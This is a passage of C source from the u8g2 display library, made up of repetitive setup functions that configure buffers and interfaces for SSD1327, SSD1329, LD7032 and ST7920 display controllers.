u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_i2c_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_i2c_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_i2c_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1327_i2c_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 */ /* ssd1327 1 */ void u8g2_Setup_ssd1327_i2c_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 2 */ void u8g2_Setup_ssd1327_i2c_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1327 f */ void u8g2_Setup_ssd1327_i2c_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 */ /* ssd1329 1 */ void u8g2_Setup_ssd1329_128x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 2 */ void u8g2_Setup_ssd1329_128x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 f */ void u8g2_Setup_ssd1329_128x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 */ /* ssd1329 1 */ void u8g2_Setup_ssd1329_96x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 2 */ void u8g2_Setup_ssd1329_96x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1329 f */ void u8g2_Setup_ssd1329_96x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ld7032 */ /* ld7032 1 */ void u8g2_Setup_ld7032_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 2 */ void u8g2_Setup_ld7032_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 f */ void u8g2_Setup_ld7032_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 */ /* ld7032 1 */ void u8g2_Setup_ld7032_i2c_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_i2c_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 2 */ void u8g2_Setup_ld7032_i2c_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_i2c_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 f */ void u8g2_Setup_ld7032_i2c_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } void u8g2_Setup_ld7032_i2c_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 */ /* ld7032 1 */ void u8g2_Setup_ld7032_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 2 */ void u8g2_Setup_ld7032_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 f */ void u8g2_Setup_ld7032_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 */ /* ld7032 1 */ void u8g2_Setup_ld7032_i2c_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 2 */ void u8g2_Setup_ld7032_i2c_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ld7032 f */ void u8g2_Setup_ld7032_i2c_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_p_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_p_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_p_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_s_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_s_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_s_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_256x32, u8x8_cad_st7920_spi, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_p_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_p_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_p_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 2 */ void u8g2_Setup_st7920_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 f */ void u8g2_Setup_st7920_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_18_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* st7920 */ /* st7920 1 */ void u8g2_Setup_st7920_s_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7920_144x32, 